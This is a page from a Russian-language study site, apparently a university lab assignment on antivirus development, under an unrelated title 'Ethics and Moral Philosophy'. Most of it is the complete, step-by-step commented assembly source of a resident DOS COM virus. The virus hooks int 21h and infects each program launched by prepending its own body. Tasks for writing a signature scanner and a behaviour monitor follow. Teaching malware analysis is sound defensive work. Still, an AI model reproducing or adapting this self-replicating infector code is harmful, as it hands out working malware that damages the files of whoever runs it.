Студопедія
рос | укр

Головна сторінка Випадкова сторінка


КАТЕГОРІЇ:

АвтомобіліБіологіяБудівництвоВідпочинок і туризмГеографіяДім і садЕкологіяЕкономікаЕлектронікаІноземні мовиІнформатикаІншеІсторіяКультураЛітератураМатематикаМедицинаМеталлургіяМеханікаОсвітаОхорона праціПедагогікаПолітикаПравоПсихологіяРелігіяСоціологіяСпортФізикаФілософіяФінансиХімія






Ethics and Moral Philosophy


Дата добавления: 2015-10-19; просмотров: 477



off Sz Description
00h Признак последнего блока. Z – последний. M – есть еще блоки.
01h Адрес ассоциированного PSP. (для самой MS_DOS = 0008h)
03h Размер блока памяти в параграфах, не считая самого MCB.
05h Не используется
08h Имя блока, обычно имя программы.

Далее приведен исходный код резидентного COM вируса, который заражает файлы внедрением в начало.

1. Выделяем память, копируем туда себя и запускаемся там с метки next

mov ah,4Ah  
mov bx,0FFFFh  
int 21h  
sub bx,(vir_size+15)/16+1  
mov ah,4Ah  
int 21h  
mov ah,48h  
mov bx,(vir_size+15)/16  
int 21h  
push ax  
mov es,ax  
xor di,di  
mov si,100h  
mov cx,vir_size  
rep movsb  
mov ax,offset next-100h  
push ax  
retf  

2. Проверяем установлен ли наш вирус в памяти - вызываем int 21h с ax=0FFFFh, если уже установлен прыгаем на выход.

next:  
mov ax,0FFFFh  
int 21h  
test ax,ax  
jz exit  

3. Устанавливаем наш обработчик прерывания int 21h.

set_int:  
push cs  
pop ds  
mov ax,3521h  
int 21h  
mov [Old_Int21_Off-100h],bx  
mov [Old_Int21_Seg-100h],es  
mov ah,25h  
lea dx,New_Int21  
int 21h  

4. Восстанавливаем значения всех сегментных регистров.

exit:  
push ss  
push ss  
pop ds  
pop es  

5. Восстанавливаем в памяти носитель, поднимаем его к PSP и передаем ему управление.

mov si,offset old_file  
mov di,100h  
mov cx,file_size  
rep movsb  
push ss  
push 100h  
retf  

 

Далее идет резидентная часть, этапы функционирования которой имеют свою нумерацию и расположены не по порядку исполнения. Выполнение начинается с пункта 1 – метка New_Int21.

 

11. Закрываем файл и восстанавливаем регистры.

close_file:  
mov ah,3eh  
Pushf  
call to_int21-100h  
restore:  
pop es  
pop ds  
popa  
     

12. Прыжок на оригинальный обработчик int 21h.

to_int21:  
Jump_Old_Int21 db 0eah  
Old_Int21_Off dw 0  
Old_Int21_Seg dw 0  

1. Проверяем это запрос на зараженность памяти от другой копии вируса (ax=0FFFFh) или нет. Если да, то увеличиваем ax на 1 (становится ax=0) и возвращаемся из прерывания.

New_Int21:  
cmp ax,0FFFFh  
jnz Check_4b  
inc ax  
iret  

2. Проверяем вызывается подфункция запуска программы (4B00h), если нет – передаем управление оригинальному обработчику. Если да, сохраняем регистры.

Check_4b:  
cmp ax,04b00h  
jnz to_int21  
pusha  
push ds  
push es  

3. Открываем файл, это исполняемый файл и его имя уже в ds:dx.

mov ax,3d02h  
pushf  
call to_int21-100h  
jc close_file  
xchg ax,bx  

4. В области видеопамяти (0A000h) строим зараженную программу, для этого копируем в начало области тело вируса.

push cs  
pop ds  
mov ax,0a000h  
mov es,ax  
xor si,si  
xor di,di  
mov cx,vir_size  
rep movsb  

5. Читаем после тела вируса тело жертвы из файла.

mov ds,ax  
mov ah,3fh  
mov cx,0ffffh  
mov dx,di  
pushf  
call to_int21-100h  

6. Проверяем максимальный размер.

mov file_size-100h,ax  
cmp ax,0fd00h  
ja close_file  

7. Проверяем начало жертвы на нашу сигнатуру – метку заражения.

mov ax,word ptr [di]  
cmp ax,0580Eh  
jz close_file  

8. Проверяем не EXE ли это.

xor al,ah  
cmp al,17h  
jz close_file  

9. Перемещаем указатель в начало жертвы.

mov ax,4200h  
xor cx,cx  
xor dx,dx  
pushf  
call to_int21-100h  

10. Пишем зараженную программу в файл и прыгаем на следующий этап.

mov ah,40h  
xor dx,dx  
mov cx,file_size-100h  
add cx,di  
pushf  
call to_int21-100h  
jmp close_file  

13. Область данных вируса и моделируемый носитель, состоящий из одной команды ret.

File_Size dw 1  
vir_size=$-start  
old_file: ret  
end start  

Порядок выполнения работы

 

1. Набрать, скомпилировать и исследовать работу простейшего антивируса из примера.

2. Изменить его под свой вирус, сделать сигнатуру - 16 байт.

3. Добавить интерфейс с выводом сообщения о том, что файл заражен, его имя и запросом на лечение, с вариантом действий: да / нет.

4. Набрать пример резидентного COM вируса и исследовать его работу в отладчике.

5. Создать резидентный монитор, который будет блокировать действия программ, которые считывают 4 байта и затем переводят указатель чтения/записи в конец файла.

 

 

Содержание отчета по выполненной работе

 

Отчет должен содержать номер и наименование лабораторной работы, данные о студентах, ее выполнивших, исходные тексты разработанных программ и исполняемые файлы с ними в электронном виде и выводы по результатам проделанной работы.

 

 

Контрольные вопросы

1. Какие виды антивирусов бывают.

2. Какие методы используют антивирусы.

3. Какие функции работают с файлами.

4. Каким образом обеспечивается резидентность.

5. Объясните работу предложенного фрагмента из лабораторной.

 


<== предыдущая лекция | следующая лекция ==>
Reference Works | Introductions
1 | 2 | <== 3 ==> | 4 | 5 |
Studopedia.info - Студопедия - 2014-2024 год . (0.187 сек.) російська версія | українська версія

Генерация страницы за: 0.187 сек.
Поможем в написании
> Курсовые, контрольные, дипломные и другие работы со скидкой до 25%
3 569 лучших специалисов, готовы оказать помощь 24/7